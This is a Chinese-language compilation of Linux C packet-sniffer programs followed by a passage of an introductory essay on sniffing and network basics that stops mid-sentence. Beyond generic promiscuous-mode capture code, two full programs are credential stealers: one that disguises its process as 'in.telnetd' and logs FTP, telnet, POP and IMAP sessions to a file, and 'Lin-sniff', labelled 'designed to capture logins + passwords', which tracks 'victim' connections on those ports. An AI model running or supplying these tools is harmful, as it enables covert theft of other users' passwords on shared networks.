正在学习关于sniffer的编程,收集到的资料(有经过修正程序)

IFREQ是跟网络接口有关的结构
/*
* Interface request structure used for socket
* ioctl's. All interface ioctl's must have parameter
* definitions which begin with ifr_name. The
* remainder may be interface specific.
*/

struct ifreq
{
#define IFHWADDRLEN 6
#define IFNAMSIZ 16
union
{
char ifrn_name[IFNAMSIZ]; /* if name, e.g. "en0" */
} ifr_ifrn;

union {
struct sockaddr ifru_addr;
struct sockaddr ifru_dstaddr;
struct sockaddr ifru_broadaddr;
struct sockaddr ifru_netmask;
struct sockaddr ifru_hwaddr;
short ifru_flags;
int ifru_ivalue;
int ifru_mtu;
struct ifmap ifru_map;
char ifru_slave[IFNAMSIZ]; /* Just fits the size */
char ifru_newname[IFNAMSIZ];
char * ifru_data;
struct if_settings ifru_settings;
} ifr_ifru;
};
 
 
找到一些能用的程序,但是解释太少
//--------------------------------------------------------------------------------

#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/in.h>
#include <linux/if_ether.h>

int main(int argc, char **argv) {
int sock, n;
char buffer[2048];
unsigned char *iphead, *ethhead;

if ( (sock=socket(PF_PACKET, SOCK_RAW,htons(ETH_P_IP)))<0)
{
    perror("socket");
    exit(1);
}

while (1) {
printf("----------/n");
n = recvfrom(sock,buffer,2048,0,NULL,NULL);
printf("%d bytes read/n",n);

/* Check to see if the packet contains at least
* complete Ethernet (14), IP (20) and TCP/UDP
* (8) headers.
*/
if (n<42) {
perror("recvfrom():");
printf("Incomplete packet (errno is %d)/n",errno);
close(sock);
exit(0);
}

ethhead = buffer;
printf("Source MAC address: %02x:%02x:%02x:%02x:%02x:%02x/n",
                    ethhead[0],ethhead[1],ethhead[2],
                    ethhead[3],ethhead[4],ethhead[5]);
printf("Destination MAC address: %02x:%02x:%02x:%02x:%02x:%02x/n",
                    ethhead[6],ethhead[7],ethhead[8],
                    ethhead[9],ethhead[10],ethhead[11]);

iphead = buffer+14; /* Skip Ethernet header */
if (*iphead==0x45) { /* Double check for IPv4
* and no options present */
printf("Source host %d.%d.%d.%d/n",
                    iphead[12],iphead[13],
                    iphead[14],iphead[15]);
printf("Dest host %d.%d.%d.%d/n",
                    iphead[16],iphead[17],
                    iphead[18],iphead[19]);
printf("Source,Dest ports %d,%d/n",
                    (iphead[20]<<8)+iphead[21],
                    (iphead[22]<<8)+iphead[23]);
printf("Layer-4 protocol %d/n",iphead[9]);
}
}

}
//-----------------------------------------------------------------------


#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/in.h>
#include <linux/if_ether.h>
#include <net/if.h>
#include <sys/ioctl.h>

int main(int argc, char **argv) {
int sock, n;
char buffer[2048];
unsigned char *iphead, *ethhead;
struct ifreq ethreq;

if ( (sock=socket(PF_PACKET, SOCK_RAW,htons(ETH_P_IP)))<0) {
perror("socket");
exit(1);
}

/* Set the network card in promiscuos mode */
strncpy(ethreq.ifr_name,"eth0",IFNAMSIZ);
if (ioctl(sock,SIOCGIFFLAGS,&ethreq)==-1) {
perror("ioctl");
close(sock);
exit(1);
}
ethreq.ifr_flags|=IFF_PROMISC;
if (ioctl(sock,SIOCSIFFLAGS,&ethreq)==-1) {
perror("ioctl");
close(sock);
exit(1);
}

while (1) {
printf("----------/n");
n = recvfrom(sock,buffer,2048,0,NULL,NULL);
printf("%d bytes read/n",n);

/* Check to see if the packet contains at least
* complete Ethernet (14), IP (20) and TCP/UDP
* (8) headers.
*/
if (n<42) {
perror("recvfrom():");
printf("Incomplete packet (errno is %d)/n",
errno);
close(sock);
exit(0);
}

ethhead = buffer;
printf("Source MAC address: "
"%02x:%02x:%02x:%02x:%02x:%02x/n",
ethhead[0],ethhead[1],ethhead[2],
ethhead[3],ethhead[4],ethhead[5]);
printf("Destination MAC address: "
"%02x:%02x:%02x:%02x:%02x:%02x/n",
ethhead[6],ethhead[7],ethhead[8],
ethhead[9],ethhead[10],ethhead[11]);

iphead = buffer+14; /* Skip Ethernet header */
if (*iphead==0x45) { /* Double check for IPv4
* and no options present */
printf("Source host %d.%d.%d.%d/n",
iphead[12],iphead[13],
iphead[14],iphead[15]);
printf("Dest host %d.%d.%d.%d/n",
iphead[16],iphead[17],
iphead[18],iphead[19]);
printf("Source,Dest ports %d,%d/n",
(iphead[20]<<8)+iphead[21],
(iphead[22]<<8)+iphead[23]);
printf("Layer-4 protocol %d/n",iphead[9]);
}
}

}
//---------------------------------------------------------------------------
/************************sniffer.c****************************/
#include <stdio.h>;
#include <stdlib.h>;
#include <unistd.h>;
#include <string.h>;
#include <signal.h>;
#include <netinet/in.h>;
#include <netinet/ip.h>;
#include <netinet/tcp.h>;
#include <net/if.h>;
#include <netdb.h>;
#include <sys/ioctl.h>;
#include <sys/stat.h>;
#include <fcntl.h>;
#include <ctype.h>;
#include <sys/file.h>;
#include <sys/time.h>;
#include <sys/socket.h>;
#include <arpa/inet.h>;
#include <netinet/if_ether.h>;
#define INTERFACE "eth0"                      /* 网卡 */


int set_promisc(char *interface,int sock)              /* 杂乱模式 */
{
struct ifreq ifr;

strncpy(ifr.ifr_name, interface,strlen(interface)+1);
if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {
printf("Could not receive flags for the interface/n");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) {
printf("Could not set the PROMISC flag./n");
exit(0);
}
printf("Setting interface ::: %s ::: to promisc/n", interface);

}

main()
{
int sock,bytes_received,len;
char *data;
char buffer[65535];
struct sockaddr_in addr;
struct iphdr *ip;
struct tcphdr *tcp;

if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1)
{    /* 使用SOCK_RAW */
printf("sniffer failt/n");
exit(0);
}
set_promisc(INTERFACE,sock);
while(1)
{
len = sizeof(addr);
bytes_received = recvfrom(sock,(char *)buffer,sizeof(buffer),0,(struct sockaddr *)&addr,&len);
printf("/nBytes received %5d/n",bytes_received);
printf("Source address %s /n",inet_ntoa(addr.sin_addr));
ip = (struct iphdr *)buffer;                 /* 格式化buffer的内容 */
printf("IP header length %d/n",ip->tot_len);
printf("Protocol %d/n",ip->protocol);
tcp = (struct tcphdr *)(buffer+sizeof(struct iphdr));    /* 格式化ip数据后面的buffer内容 */
printf("Source port %d/n",ntohs(tcp->source));
printf("Dest port %d /n",ntohs(tcp->dest));
data = &buffer[sizeof(struct iphdr) + sizeof(struct tcphdr)];  /* data 等于去掉iphdr和tcphdr后的buffer内容 */
printf("data: %s",data);
}
}
//----------------------------------------------------------------------------
#include <string.h>
#include <ctype.h>
#include <stdio.h>
#include <netdb.h>
#include <sys/file.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/signal.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h>

int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);


struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;
  
  struct
  {
  unsigned long saddr;
  unsigned long daddr;
  unsigned short sport;
  unsigned short dport;
  int bytes_read;
  char active;
  time_t start_time;
  } victim;
  
  struct iphdr *ip;
  struct tcphdr *tcp;
  int s;
  FILE *fp;
  
  #define CAPTLEN 512
  #define TIMEOUT 30
  #define TCPLOG "tcp.log"
  
  int openintf(char *d)
  {
  int fd;
  struct ifreq ifr;
  int s;
  fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
  if(fd < 0)
  {
  perror("cant get SOCK_PACKET socket");
  exit(0);
  }
  strcpy(ifr.ifr_name, d);
  s=ioctl(fd, SIOCGIFFLAGS, &ifr);
  if(s < 0)
  {
  close(fd);
  perror("cant get flags");
  exit(0);
  }
  ifr.ifr_flags |= IFF_PROMISC;
  s=ioctl(fd, SIOCSIFFLAGS, &ifr);
  if(s < 0) perror("can not set promiscuous mode");
  return fd;
  }
  
  int read_tcp(int s)
  {
  int x;
  while(1)
  {
  x=read(s, (struct etherpacket *)&ep, sizeof(ep));
  if(x > 1)
  {
  if(filter()==0) continue;
  x=x-54;
  if(x < 1) continue;
  return x;
  }
  }
  }
  
  int filter(void)
  {
  int p;
  p=0;
  if(ip->protocol != 6) return 0;
  if(victim.active != 0)
  if(victim.bytes_read > CAPTLEN)
  {
  fprintf(fp, "/n----- [CAPLEN Exceeded]/n");
  clear_victim();
  return 0;
  }
  if(victim.active != 0)
  if(time(NULL) > (victim.start_time + TIMEOUT))
  {
  fprintf(fp, "/n----- [Timed Out]/n");
  clear_victim();
  return 0;
  }
  if(ntohs(tcp->dest)==21) p=1; /* ftp */
  if(ntohs(tcp->dest)==23) p=1; /* telnet */
  if(ntohs(tcp->dest)==110) p=1; /* pop3 */
  if(ntohs(tcp->dest)==109) p=1; /* pop2 */
  if(ntohs(tcp->dest)==143) p=1; /* imap2 */
  if(ntohs(tcp->dest)==513) p=1; /* rlogin */
  if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
  if(victim.active == 0)
  if(p == 1)
  if(tcp->syn == 1)
  {
  victim.saddr=ip->saddr;
  victim.daddr=ip->daddr;
  victim.active=1;
  victim.sport=tcp->source;
  victim.dport=tcp->dest;
  victim.bytes_read=0;
  victim.start_time=time(NULL);
  print_header();
  }
  if(tcp->dest != victim.dport) return 0;
  if(tcp->source != victim.sport) return 0;
  if(ip->saddr != victim.saddr) return 0;
  if(ip->daddr != victim.daddr) return 0;
  if(tcp->rst == 1)
  {
  victim.active=0;
  alarm(0);
  fprintf(fp, "/n----- [RST]/n");
  clear_victim();
  return 0;
  }
  if(tcp->fin == 1)
  {
  victim.active=0;
  alarm(0);
  fprintf(fp, "/n----- [FIN]/n");
  clear_victim();
  return 0;
  }
  return 1;
  }
  
  int print_header(void)
  {
  fprintf(fp, "/n");
  fprintf(fp, "%s => ", hostlookup(ip->saddr));
  fprintf(fp, "%s [%d]/n", hostlookup(ip->daddr), ntohs(tcp->dest));
  }
  
  int print_data(int datalen, char *data)
  {
  int i=0;
  int t=0;
  
  victim.bytes_read=victim.bytes_read+datalen;
  for(i=0;i != datalen;i++)
  {
  if(data[i] == 13) { fprintf(fp, "/n"); t=0; }
  if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
  if(t > 75) {t=0;fprintf(fp, "/n");}
  }
  }
  
  main(int argc, char **argv)
  {
  sprintf(argv[0],"%s","in.telnetd");
  s=openintf("eth0");
  ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
  tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
  signal(SIGHUP, SIG_IGN);
  signal(SIGINT, cleanup);
  signal(SIGTERM, cleanup);
  signal(SIGKILL, cleanup);
  signal(SIGQUIT, cleanup);
  if(argc == 2) fp=stdout;
  else fp=fopen(TCPLOG, "at");
  if(fp == NULL) { fprintf(stderr, "cant open log/n");exit(0);}
  clear_victim();
  for(;;)
  {
  read_tcp(s);
  if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
  fflush(fp);
  }
  }
  
  char *hostlookup(unsigned long int in)
  {
  static char blah[1024];
  struct in_addr i;
  struct hostent * he;
  
  i.s_addr=in;
  he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
  if(he == NULL)
  strcpy(blah, inet_ntoa(i));
  else
  strcpy(blah,he->h_name);
  
  return blah;
  }
  
  void clear_victim(void)
  {
  victim.saddr=0;
  victim.daddr=0;
  victim.sport=0;
  victim.dport=0;
  victim.active=0;
  victim.bytes_read=0;
  victim.start_time=0;
  }
  
  void cleanup(int sig)
  {
  fprintf(fp, "Exiting.../n");
  close(s);
  fclose(fp);
  exit(0);
  }
//---------------------------------------------------------------------

/****************************************************************

 Lin-sniff--NOTE: NOT FOR EDUCATIONAL USE!
 Copyright (C) 2000 Xphere
 Designed to capture logins + passwords
 The original edition has some bugs,I perfect it again
 Compile: gcc -O3 -Wall lin-sniff.c -o lin-sniff
 
 ****************************************************************/

 

 

#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/socket.h>
#include <linux/sockios.h>
#include <linux/if_ether.h>


/*函数声明*/
int check_port(int port);
char *lookup(long ip);
void print_dat(int d_size, char *data);
void print_victim(unsigned long saddr, unsigned long daddr,
               unsigned short src_port, unsigned short dst_port,
               int d_size, char *data);
void rm_victim(int i);
void check_victim();
int find_victim(struct iphdr *ip, struct tcphdr *tcp);
void reset_victim(struct iphdr *ip, struct tcphdr *tcp);
void init_victim(struct iphdr *ip, struct tcphdr *tcp);
void data_victim(struct iphdr *ip, struct tcphdr *tcp, int d_size, char *data);
void proc_packet(char *buf);
void init_victim_list();
void terminate();
int main (int argc, char *argv[]);

 

/* 定义要嗅探的端口,‘0’用于结束循环,不能丢! */
int ports[] = { 21, 23, 110, 109, 143, 513, 0 };


/*结构定义*/
struct {
    unsigned long src_addr;/*信源主机*/
    unsigned long dst_addr;/*信宿主机*/
    unsigned short src_port;/*源端口*/
    unsigned short dst_port;/*目的端口*/
    int state;/*状态*/
    int d_size;
    long start_time;
    char *data;
} victim_list[1024];/*1024为能嗅探通信连接的最大数目*/


/*检测端口*/
int check_port(int port)
{
    int i;
  /*为‘0’则退出*/
    for (i = 0; ports[i] > 0; ++i) {
        if (port == ports[i]) {
            return(1);
        }
    }
    return(0);
}

 

/*建立套接字,设置网卡为混杂模式*/
int open_fd(char *intf)
{
    int f, s;
    struct ifreq ifr;

  /*建立套接字*/
    if ((f = socket(AF_INET, SOCK_PACKET, htons(0x800))) < 0) {
        return(-1);
    }
    /*接口名*/
    strcpy(ifr.ifr_name, intf);
    /*获取接口标志*/
    if ((s = ioctl(f, SIOCGIFFLAGS, &ifr)) < 0) {
        close(f);
        return(-1);
    }
    /*设置接口为混杂模式*/
    ifr.ifr_flags |= IFF_PROMISC;
    /*设置接口标志*/
    if ((s = ioctl(f, SIOCSIFFLAGS, &ifr)) < 0) {
        return(-1);
    }
    printf("Setting interface ::: %s ::: to promisc/n/n", intf);
    return(f);
}


/*根据二进制ip地址获取对应的主机名*/
char *lookup(long ip)
{
    static char n[1024];
    struct in_addr ia;
    struct hostent *he;

    ia.s_addr = ip;
    /*完成由二进制地址到名字的转换gethostbyaddr(实际上结构int_addr的地址, 4(IPv4)或6(IPv6), AF_INET或AF_INET6)*/
    he = gethostbyaddr((char *) &ia, sizeof(struct in_addr), AF_INET);
 

    if ((sizeof(he->h_name) <= sizeof(n)) && he != NULL) {
        strcpy(n, he->h_name);
    }
    else {
        strcpy(n, inet_ntoa(ia));
    }
    return(n);
}


/*打印数据报数据*/
void print_dat(int d_size, char *data)
{
    int i = 0;

    for (i = 0; i < d_size; ++i) {
        if (data[i] == 13) {
            fprintf(stdout, "/n");
        }
        if (isprint(data[i])) {
            fprintf(stdout, "%c", data[i]);
        }
    }
    return;
}


/*打印数据报(报头+数据)*/
void print_victim(unsigned long saddr, unsigned long daddr,
               unsigned short src_port, unsigned short dst_port,
               int d_size, char *data) {

    fprintf(stdout, "+-----< HOST: %s ", lookup(saddr));
    fprintf(stdout, "PORT: %d  ->  ", ntohs(src_port));
    fprintf(stdout, "HOST: %s ", lookup(daddr));
    fprintf(stdout, "PORT: %d >/n/n", ntohs(dst_port));
    print_dat(d_size, data);/*调用函数打印数据报数据*/
    return;
}


/*对 victim_list结构清零*/
void rm_victim(int i)
{
    victim_list[i].src_addr = 0;
    victim_list[i].dst_addr = 0;
    victim_list[i].src_port = 0;
    victim_list[i].dst_port = 0;
    victim_list[i].state = 0;
    victim_list[i].d_size = 0;
    victim_list[i].start_time = 0;
    free(victim_list[i].data);
    victim_list[i].data = NULL;
    return;
}


/*检测各通信连接--只嗅探每个连接30s*/
void check_victim()
{
    int i;

    for (i = 0; i < 1024; ++i) {
        if (victim_list[i].state == 1) {
            if ((victim_list[i].start_time + 3000) < time(NULL)) {
                print_victim(victim_list[i].src_addr, victim_list[i].dst_addr,
                          victim_list[i].src_port, victim_list[i].dst_port,
                          victim_list[i].d_size, victim_list[i].data);

                fprintf(stdout, "/n+-----< Timed out. >/n/n/n");
                rm_victim(i);
            }
        }
    }
    return;
}


/*查找有效通信连接*/
int find_victim(struct iphdr *ip, struct tcphdr *tcp)
{
    int i;

    for (i = 0; i < 1024; ++i) {
        if (victim_list[i].state == 1) {
            if ((victim_list[i].src_addr == ip->saddr) &&
                (victim_list[i].dst_addr == ip->daddr) &&
                (victim_list[i].src_port == tcp->source) &&
                (victim_list[i].dst_port == tcp->dest)) {

                return(i);
            }
        }
    }
    return(-1);
}


/*重置通信连接--打印结束的通信连接*/
void reset_victim(struct iphdr *ip, struct tcphdr *tcp)
{
    int i;

    if ((i = find_victim(ip, tcp)) > -1) {
        print_victim(victim_list[i].src_addr, victim_list[i].dst_addr,
                  victim_list[i].src_port, victim_list[i].dst_port,
                  victim_list[i].d_size, victim_list[i].data);

        fprintf(stdout, "/n+-----< Received FIN/RST. >/n/n/n");
        fflush(stdout);
        rm_victim(i);
    }
    return;
}


/*对各通信连接数据初始化*/
void init_victim(struct iphdr *ip, struct tcphdr *tcp)
{
    int i;

    for (i = 0; i < 1024; ++i) {
        if (victim_list[i].state == 0) {
            victim_list[i].src_addr = ip->saddr;
            victim_list[i].dst_addr = ip->daddr;
            victim_list[i].src_port = tcp->source;
            victim_list[i].dst_port = tcp->dest;
            victim_list[i].state = 1;
            victim_list[i].start_time = time(NULL);
            return;
        }
    }
    return;
}


/*分析数据报数据*/
void data_victim(struct iphdr *ip, struct tcphdr *tcp, int d_size, char *data)
{
    int i, t, k = 0;
    char *bsd;
        if ((i = find_victim(ip, tcp)) > -1) {
        if (d_size > 0) {
            if (victim_list[i].data == NULL) {
                victim_list[i].data = malloc(d_size);
                memset(victim_list[i].data, 0, d_size);
                victim_list[i].d_size += d_size;
                for (t = 0; t < d_size; ++t) {
                    victim_list[i].data[t] = data[t];
                }
            }
            else {
                bsd = victim_list[i].data;
                victim_list[i].data = malloc(victim_list[i].d_size + d_size);
                memset(victim_list[i].data, 0, victim_list[i].d_size + d_size);
                for (t = 0; t < victim_list[i].d_size; ++t) {
                    victim_list[i].data[k] = bsd[t];
                    ++k;
                }
                victim_list[i].d_size += d_size;
                for (t = 0; t < d_size; ++t) {
                    victim_list[i].data[k] = data[t];
                    ++k;
                }
             print_victim(victim_list[i].src_addr, victim_list[i].dst_addr,
                  victim_list[i].src_port, victim_list[i].dst_port,
                  victim_list[i].d_size, victim_list[i].data);
                free(bsd);
            }
        }
    }
    return;
}


/*分析数据报头*/
void proc_packet(char *buf)
{
    struct ethhdr *eth;
    struct iphdr *ip;
    struct tcphdr *tcp;
    char *data;
    int d_size, e_size, i_size, t_size;

    e_size = sizeof(struct ethhdr);
    i_size = sizeof(struct iphdr);
    t_size = sizeof(struct tcphdr);

    eth = (struct ethhdr *) buf;
    ip = (struct iphdr *) (buf + e_size);
    tcp = (struct tcphdr *) (buf + e_size + i_size);
    data = (buf + e_size + i_size + t_size);
    d_size  = (htons(ip->tot_len) - i_size - t_size);
 
  /*只关心TCP数据报*/
    if (ip->protocol != 6) {
             return;
    }

    if (check_port(ntohs(tcp->dest)) == 0 && check_port(ntohs(tcp->source)) ==0 ) {
                   return;
    }
    check_victim();
    if ((tcp->syn == 1) && (find_victim(ip, tcp) == -1)) {/*syn位用来建立连接*/
        init_victim(ip, tcp);
    }
    else if ((tcp->rst == 1) || (tcp->fin == 1)) {/*rst位用来表示由于主机崩溃等原因而出现错误的连接,fin位用于释放连接*/
        reset_victim(ip, tcp);
    }
    else {
          data_victim(ip, tcp, d_size, data);
    }
    return;
}

/*初始化各主机连接列表*/
void init_victim_list()
{
    int i;

    for (i = 0; i < 1024; ++i) {
        victim_list[i].src_addr = 0;
        victim_list[i].dst_addr = 0;
        victim_list[i].src_port = 0;
        victim_list[i].dst_port = 0;
        victim_list[i].state = 0;
        victim_list[i].start_time = 0;
        victim_list[i].data = NULL;
    }
    return;
}

 

void terminate()
{
    fprintf(stdout, "Received signal, exiting./n");
    exit(0);
}

 

int main (int argc, char *argv[])
{
    int sd, i, fromlen;
    struct sockaddr_in from;
    char buf[65535];

    if (argc != 2) {
        fprintf(stderr, "/n[ Lin-sniff ]/n");
        fprintf(stderr, "Usage: %s <interface>/n", argv[0]);
        fprintf(stderr, "Example: %s eth0 > sniff.log /n", argv[0]);
        exit(-1);
    }
    fprintf(stdout, "/n[ Lin-sniff ]/n/n/n");

    if ((sd = open_fd(argv[1])) < 0) {
        fprintf(stderr, "Error: can't get promicuous socket./n");
        exit(-1);
    }
 
  /*各种原因使程序退出*/
    signal(SIGINT, terminate);
    signal(SIGKILL, terminate);
    signal(SIGQUIT, terminate);
    signal(SIGTERM, terminate);
    signal(SIGHUP, SIG_IGN);

  
    init_victim_list();

    while (1) {
        memset(&buf, 0, sizeof(buf));/*将buf以‘0’填入*/
        fromlen = sizeof from;
     i = recvfrom(sd, buf, sizeof buf, 0, (struct sockaddr *)&from, &fromlen);
    proc_packet(buf);
      
    }
    exit(0);
}
//----------------------------------------------------------------------------

/***************************************
* Author  : 李亚楠
* Time    : 2006-04-02
* function: 检测本机网络
****************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/in.h>
#include <linux/if_ether.h>
#include <net/if.h>
#include <sys/ioctl.h>
#define INTERFACE "eth0"
int Set_Promisc(char *interface,int sock);
void Write_File(FILE *fp,unsigned char *buf,int len);
int main()
{
 int sock,size,i,j;
 FILE *fp;
 unsigned char buffer[2048];
 unsigned char *data;
 fp = fopen("sniffer.txt","w");
 if(!fp)
 {
  printf("can not open the file/n");
  return;
 }
 if((sock = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP))) < 0)
 {
  printf("socket init error/n");
  return -1;
 }

 Set_Promisc(INTERFACE,sock);
 while(1)
 {
  printf("-------------------/n");
  size = recvfrom(sock,buffer,2048,0,NULL,NULL);
  printf("%d bytes read/n",size);
  if(size < 14)
  {
   printf("recv error/n");
   close(sock);
   return -1;
  }
  Write_File(fp, buffer,size);
  printf("the dst MAC is    %02x:%02x:%02x:%02x:%02x:%02x/n",buffer[0],buffer[1],buffer[2],
                        buffer[3],buffer[4],buffer[5]);
                printf("the source MAC is %02x:%02x:%02x:%02x:%02x:%02x/n",buffer[6],buffer[7],buffer[8],
                        buffer[9],buffer[10],buffer[11]);
                printf("Packet type is %02x%02x/n",buffer[12],buffer[13]);
                data = buffer+14;
                size = size - 14;
  for(i=0;i<size;i+=16)
  {
   for(j=i;j<i+16;j++)
   {
    if(j<size)
     printf("%02x ",data[j]);
    else
     break;
   }
   printf("/n");
  }
 }
 fclose(fp);
  return 0;
}
//设置网卡为混杂模式,使其可以接收到非发往本机的数据包
int Set_Promisc(char *interface,int sock)
{
 struct ifreq ifr;
 strncpy(ifr.ifr_name,interface,strnlen(interface)+1);
 if((ioctl(sock,SIOCGIFFLAGS,&ifr) == -1))
 {
  printf("Couldn't retrive flags for the interface/n");
  exit(0);
 }
 printf("The interface is ::%s/n",interface);
 printf("Retrieved flags from the interface successly/n");
 ifr.ifr_flags |= IFF_PROMISC;
 if(ioctl(sock,SIOCSIFFLAGS,&ifr) == -1)
 {
  printf("Could not set the PROMISC flag/n");
  exit(0);
 }
 printf("Setting interface::%s::to promisc/n",interface);
 return(0);
}
//写文件
void Write_File(FILE *fp,unsigned char *buf,int len)
{
 int i;
 int base;
 /*
 fp = fopen("sniffer.txt","a");
 if(!fp)
 {
  printf("can not open the file/n");
  return;
 }
 */
 fprintf(fp,"%s:%d/n","receive packet:",len);
 if(buf[12] == 0x88 && buf[13] == 0x63)
 {
  fprintf(fp,"%s/n""the PPPoE discovery packet found");
 }
 for (base=0; base<len; base += 16)
 {
  for (i=base; i<base+16; i++)
  {
    if (i < len)
   {
    fprintf(fp, "%02x ", (unsigned) buf[i]);
       }
    else
   {
    fprintf(fp, "   ");
       }
  }
  fprintf(fp, "  ");
  for (i=base; i<base+16; i++)
  {
       if (i < len)
   {
    if (isprint(buf[i]))
    {
         fprintf(fp, "%c", buf[i]);
    }
     else
    {
         fprintf(fp, ".");
    }
       }
   else {
    break;
       }
   }
  fprintf(fp, "/n");
     }
 fprintf(fp, "/n");
 //fclose(fp);
}

//------------------------------------------------------------------

SNIFF真是一个古老的话题,关于在网络上采用SNIFF来获取敏感信息已经不是什么
新鲜事,也不乏很多成功的案例,那么,SNIFF究竟是什么呢? SNIFF就是嗅探器,就是
窃听器,SNIFF静悄悄的工作在网络的底层,把你的秘密全部记录下来。看过威尔史密斯
演的《全民公敌》吗?SNIFF就象里面精巧的窃听器一样,让你防不胜防。
SNIFF可以是软件,也可以是硬件,既然是软件那就要分平台,有WINDOWS下的、UNXI
下的等,硬件的SNIFF称为网络分析仪,反正不管硬件软件,目标只有一个,就是获取在网
络上传输的各种信息。本文仅仅介绍软件的SNIFF。
当你舒适的坐在家里,惬意的享受网络给你带来的便利,收取你的EMAIL,购买你喜欢
的物品的时候,你是否会想到你的朋友给你的信件,你的信用卡帐号变成了一个又一个的
信息包在网络上不停的传送着,你是否曾经这些信息包会通过网络流入别人的机器呢?你
的担忧不是没有道理的,因为SNIFF可以让你的担忧变成实实在在的危险。就好象一个人躲
在你身后偷看一样。。。。。。
二 网络基础知识
“网络基础知识”,是不是听起来有点跑题了?虽然听起来这和我们要谈的SNIFF没什么
关系,可是还是要说一说的,万丈高楼平地起,如果连地基都没打好,怎么盖楼?!如果你
对网络还不是十分清楚的话,最好能静下心来好好看看,要知道,这是基础的基础,在这里
我只是简单的说一下,免得到时候有人迷糊,详细的最好能够自己去找书看看。
(1)TCP/IP体系结构
开放系统互连(OSI)模型将网络划分为七层模型,分别用以在各层上实现不同的功能,
这七层分别为:应用层、表示层、会话层、传输层、网络层、数据链路层及物理层。而TCP/IP
体系也同样遵循这七层标准,只不过在某些OSI功能上进行了压缩,将表示层及会话层合并入
应用层中,所以实际上我们打交道的TCP/IP仅仅有5层而已,网络上的分层结构决定了在各层
上的协议分布及功能实现,从而决定了各层上网络设备的使用。实际上很多成功的系统都是基
于OSI模型的,如:如帧中继、ATM、ISDN等。
TCP/IP的网络体系结构(部分)
-----------------------------------
| SMTP | DNS | HTTP | FTP | TELNET| 应用层
-----------------------------------
| TCP | UDP | 传输层
-----------------------------------
| IP | ICMP | ARP RARP | 网络层
------------------------
| IEEE 802 以太网 SLIP/PPP PDN etc| 数据链路层
-----------------------------------
| 网卡 电缆 双绞线 etc | 物理层
-----------------------------------
从上面的图中我们可以看出,第一层物理层和第二层数据链路层是TCP/IP的基础,而
TCP/IP本身并不十分关心低层,因为处在数据链路层的网络设备驱动程序将上层的协议和
实际的物理接口隔离开来。网络设备驱动程序位于介质访问子层(MAC)。
(2)网络上的设备
中继器:中继器的主要功能是终结一个网段的信号并在另一个网段再生该信号,一句话,
就是简单的放大而已,工作在物理层上。
网 桥:网桥使用MAC物理地址实现中继功能,可以用来分隔网段或连接部分异种网络,工
作在数据链路层。
路由器:路由器使用网络层地址(IP,X.121,E.164等),主要负责数据包的路由寻径,也能
处理物理层和数据链路层上的工作。
网 关:主要工作在网络第四层以上,主要实现收敛功能及协议转换,不过很多时候网关都
被用来描述任何网络互连设备。
(3)TCP/IP与以太网
以太网和TCP/IP可以说是相互相成的,可以说两者的关系几乎是密不可分,以太网在
一二层提供物理上的连线,而TCP/IP工作在上层,使用32位的IP地址,以太网则使用48位
的MAC地址,两者间使用ARP和RARP协议进行相互转换。从我们上面TCP/IP的模型图中可以
清楚的看到两者的关系。
载波监听/冲突检测(CSMA/CD)技术被普遍的使用在以太网中,所谓载波监听是指在以
太网中的每个站点都具有同等的权利,在传输自己的数据时,首先监听信道是否空闲,如
果空闲,就传输自己的数据,如果信道被占用,就等待信道空闲。而冲突检测则是为了防
止发生两个站点同时监测到网络没有被使用时而产生冲突。以太网采用广播机制,所有与
网络连接的工作站都可以看到网络上传递的数据。
为了加深你的理解,我们来看看下面的图,一个典型的在以太网中客户与服务器使用
TCP/IP协议的通信。
用户进程 FTP客户  FTP服务器 应用层
| |
内核中的协议栈 TCP  TCP 传输层
| |
内核中的协议栈 IP  IP 网络层
| |
以太网驱动程序  以太网驱动程序 数据链路层
──────-------------------------------
以太网
??唆唆了这么多,有人烦了吧?相信我,这是基础的基础,可以说是说得是很简单拉,
如果需要,拿出个几十万字来说上面的内容,我想也不嫌多,好了,让我们进入下一节,
sniff的原理。
三 SNIFF的原理
要知道在以太网中,所有的通讯都是广播的,也就是说通常在同一个网段的所有网络接
口都可以访问在物理媒体上传输的所有数据,而每一个网络接口都有一个唯一的硬件地址,
这个硬件地址也就是网卡的MAC地址,大多数系统使用48比特的地址,这个地址用来表示网
络中的每一个设备,一般来说每一块网卡上的MFC地址都是不同的,每个网卡厂家得到一段
地址,然后用这段地址分配给其生产的每个网卡一个地址。在硬件地址和IP地址间使用ARP
和RARP协议进行相互转换。
在正常的情况下,一个网络接口应该只响应这样的两种数据帧:
1.与自己硬件地址相匹配的数据帧。 2.发向所有机器的广播数据帧。
在一个实际的系统中,数据的收发是由网卡来完成的,网卡接收到传输来的数据,网卡
